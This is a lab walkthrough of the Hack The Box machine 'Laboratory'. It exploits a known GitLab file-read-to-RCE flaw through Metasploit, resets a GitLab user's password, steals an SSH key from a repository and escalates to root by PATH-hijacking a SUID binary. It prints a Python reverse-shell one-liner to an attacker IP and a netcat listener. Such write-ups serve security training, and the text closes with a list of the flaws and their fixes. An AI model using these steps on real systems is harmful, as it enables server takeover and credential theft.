Let’s get started!
Run an nmap scan that scans all ports.
nmap -sC -sV -p- -oA nmap 10.10.10.216
We get the following result.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
| 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have three ports open.
- Port 22: running OpenSSH 8.2p1
- Port 80: running Apache httpd 2.4.41
- Port 443: running Apache httpd 2.4.41
Before we move on to enumeration, let’s make some mental notes about the scan results.
- The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
- Ports 80 & 443 are running web servers. We see that port 80 redirects to port 443. The nmap scan also leaks the hostnames laboratory.htb and git.laboratory.htb. We’ll have to add them to our hosts file. Other than that, since port 80 redirects to port 443, we’ll perform our standard HTTP enumeration techniques on port 443.
Add the hostnames to the /etc/hosts.
10.10.10.216 laboratory.htb git.laboratory.htb
Visit the application in the browser.
View the page source. We don’t find anything useful.
Next, visit the other hostname we found.
This leads us to a Gitlab page which has both a Sign In and Register page. Since brute-force attacks are noisy, I only preform them as a last resort. Therefore, before we try to brute force valid user credentials on Gitlab, we’ll register an account and see if we can get anywhere with that.
Click Register. We get an error saying that the email domain is not authorized for sign up.
Since the application is hosted on the domain laboratory.htb, let’s see if it accepts that domain for emails: email@example.com.
We’re in! Clicking on Projects > Explore Projects. We see that there is a project called SecureWebsite.
Reviewing the code of the project, we don’t find anything useful that could possibly give us remote code execution.
Next, let’s check the GitLab version to see if it is associated to any known vulnerabilities. To check the version, click on the question mark drop down menu and select Help.
This tells us that the Gitlab version used is 12.8.1.
Update searchsploit and do a search on GitLab.
We see that version 12.9.0 (larger than our version) is vulnerable to an authenticated arbitrary file read. What that means is that it allows us to read files on the system with the permission that Gitlab is running as.
An arbitrary file read vulnerability on its own does not give us an RCE. Therefore, I did a bit of research about the vulnerability and found this page that turns the arbitrary file read into remote code execution.
The way the exploit works is that it first uses the arbitrary file read vulnerability to extract the Rails “secret_key_base” value. This is then used to sign an “experimentation_subject_id” cookie that GitLab uses internally for A/B testing. The cookie itself is vulnerable to a deserialization vulnerability, therefore, with a bit of manipulation, it can be used to gain code execution.
The bug report does provide the set of commands used to gain code execution, however, there is also a Metasploit module that exploits this vulnerability. We’ll be using the Metasploit module to run our attack.
Start msfconsole and run the following commands to configure the exploit options.
set PASSWORD "Password1!"
set RHOSTS git.laboratory.htb
set RPORT 443
set SSL true
set USERNAME rkhal101
set LHOST tun0
set LPORT 4444
set VHOST git.laboratory.htb
We get a shell!
Run the shell command to see if we can get an interactive shell.
It seems that we’re running with a very limited shell. We can run Gitlab rails console on this box, so we’ll use that to reset Dexter’s password. This is the user that committed the application we saw in the project list. The user’s email can be obtained by hovering over the user’s username.
We’ll try to use that email to reset the user’s password. We’ll run the following commands to reset the user’s password.
First, start a Ruby on Rails console.
gitlab-rails console -e production
This will take about a minute to load. Next, find the Dexter user using his email.
user = User.find_by(email: 'firstname.lastname@example.org')
This gives us a nil output saying it didn’t find the user (it’s possible that the user is not registered under that email). So let’s try the other command listed in the link.
user = User.where(id: 1).first
This works. We get the following output stating that the user’s username is dexter.
user = User.where(id: 1).firstirb(main):002:0> user = User.where(id: 1).first
user = User.where(id: 1).first
=> #<User id:1 @dexter>
Next, change the user’s password and save the changes.
user.password = 'secret_pass'
user.password_confirmation = 'secret_pass'
Now we should be able to log into Dexter’s account on Gitlab with the username “dexter” and the password “secret_pass”.
Looking at the projects under Dexter’s account, we see another project called SecureDocker.
Looking through the code of the project, we find an SSH private key!
Copy and paste the private key into a file called id_rsa on the attack machine and restrict the permissions on the file.
chmod 600 id_rsa
Use the key to SSH into Dexter’s account.
ssh -i id_rsa email@example.com
Grab the user.txt flag.
List all the files on the system that have the SUID bit set.
find / -perm /4000 2>/dev/null
The following entry sticks out. It seems to be a custom made binary.
Looking at the permissions, we see that the file is owned by root but as the dexter user we’re able to read and execute the file. Since the SUID bit is set on this file, we’re able to run the file with effective permissions of the file owner, which is root.
dexter@laboratory:/usr/local/bin$ ls -la docker-security
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 docker-security
Let’s run the file to see what it is doing.
We get nothing. Next, let’s run the ltrace program on the file to see what system commands are getting called.
We see that it’s running the chmod command, however, it doesn’t specify the full path. Therefore, we can use that to our advantage and have it run a malicious chmod program that we control.
In the tmp folder (which we have write access to), create a chmod file and add a python reverse shell to it (taken from pentestermonkey).
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.45",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Give it execute rights.
chmod +x chmod
Set the path directory to include the tmp directory.
This way when we run the docker-security program, it’ll look for the chmod program in the tmp directory first and execute our reverse shell.
Setup a netcat listener to receive the reverse shell.
nc -nlvp 7777
Run the docker-security program.
We get a shell!
Grab the root.txt flag.
To gain an initial foothold on the box, we exploited two vulnerabilities:
- Known RCE vulnerability in Gitlab software. The version of Gitlab used is vulnerable to a known code execution vulnerability. Exploiting this vulnerability allowed us to gain access to the server that Gitlab is installed on. The Gitlab software should have been updated to the latest non-vulnerable version.
- SSH credentials committed to Gitlab. Once we gained access to the server, we were able to reset Dexter’s Gitlab credentials. We then used these credentials to log into Dexter’s Gitlab account. There we found another project that contained Dexter’s SSH key. We then used this key to gain access to Dexter’s system account. It is a security best practice to never store credentials in Gitlab. More security should be in place in order to educate developers on security best practices.
To escalate privileges on the box, we exploited one vulnerability:
- Use of relative path to call a program in an SUID binary. We found that the docker-security binary had the SUID bit set. Looking at the commands that the binary performs, we found that it calls the chmod program without specifying the full path. Therefore, by adding a new path to the PATH environment variable that contains our malicious chmod program, we were able to trick the docker-security binary to execute the malicious chmod program instead of the real one. Since the binary has the SUID bit set and is owned by root, we were able to escalate our privileges to root.